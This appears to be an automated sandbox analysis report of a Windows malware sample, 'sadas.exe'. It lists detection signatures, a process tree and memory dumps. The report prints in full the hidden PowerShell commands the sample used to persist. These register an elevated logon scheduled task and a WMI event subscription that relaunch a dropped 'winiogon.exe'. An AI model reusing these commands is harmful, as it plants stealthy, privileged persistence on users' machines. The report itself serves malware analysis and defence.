Analysis
- max time kernel
898s - max time network
902s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 19:10
General
- Target sadas.exe
- Size 24.3MB
- Sample260427-xvrfmact2m
- SHA256 d5b58e92542e7e584f380a3dda541cd78eea6145c7056b0cf6f69693c8a452c0
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Drops startup file 2 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\sadas.exe"C:\Users\Admin\AppData\Local\Temp\sadas.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'winiogon_5ff9224e' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'winiogon_5ff9224e' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'winiogon_f5ff9224e'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'winiogon_c5ff9224e'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\winiogon.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='winiogon_f5ff9224e'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='winiogon_c5ff9224e'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_h32w0s2h.t0v.ps1
agent-879434475.tmp
memory/2356-65-0x00007FF671080000-0x00007FF6749AF000-memory.dmp
memory/2608-62-0x0000020D70200000-0x0000020D7020C000-memory.dmp
memory/2608-63-0x0000020D70220000-0x0000020D702CF000-memory.dmp
memory/2608-64-0x0000020D704D0000-0x0000020D704E2000-memory.dmp
memory/4560-32-0x0000023BF7FC0000-0x0000023BF8073000-memory.dmp
memory/4560-31-0x0000023BF7FA0000-0x0000023BF7FBC000-memory.dmp
memory/4560-14-0x0000023BF7E90000-0x0000023BF7EA0000-memory.dmp
memory/4560-33-0x0000023BF8390000-0x0000023BF839A000-memory.dmp
memory/4560-34-0x0000023BF8510000-0x0000023BF852C000-memory.dmp
memory/4560-43-0x0000023BDFA90000-0x0000023BDFA9C000-memory.dmp
memory/4560-45-0x0000023BF7E70000-0x0000023BF7E82000-memory.dmp
memory/4560-44-0x0000023BDFAB0000-0x0000023BDFB5F000-memory.dmp
memory/4560-13-0x0000023BF7EE0000-0x0000023BF7F02000-memory.dmp
memory/4560-6-0x0000023BF7E90000-0x0000023BF7EA0000-memory.dmp
memory/4604-53-0x000002B7A91F0000-0x000002B7A9202000-memory.dmp
memory/4604-52-0x000002B7A8F80000-0x000002B7A902F000-memory.dmp
memory/4604-51-0x000002B790D80000-0x000002B790D8C000-memory.dmp
memory/4828-83-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-95-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-70-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-71-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-72-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-73-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-74-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-75-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-76-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-77-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-78-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-79-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-80-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-81-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-82-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-66-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-84-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-85-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-86-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-87-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-88-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-89-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-90-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-91-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-92-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-93-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-94-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-69-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-96-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-97-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-98-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-99-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-100-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-101-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-102-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-103-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-104-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-105-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-106-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-107-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-108-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-109-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-110-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-111-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-112-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-113-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-114-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-115-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-116-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-117-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-118-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-119-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-120-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp
memory/4828-121-0x00007FF6A2130000-0x00007FF6A5A5F000-memory.dmp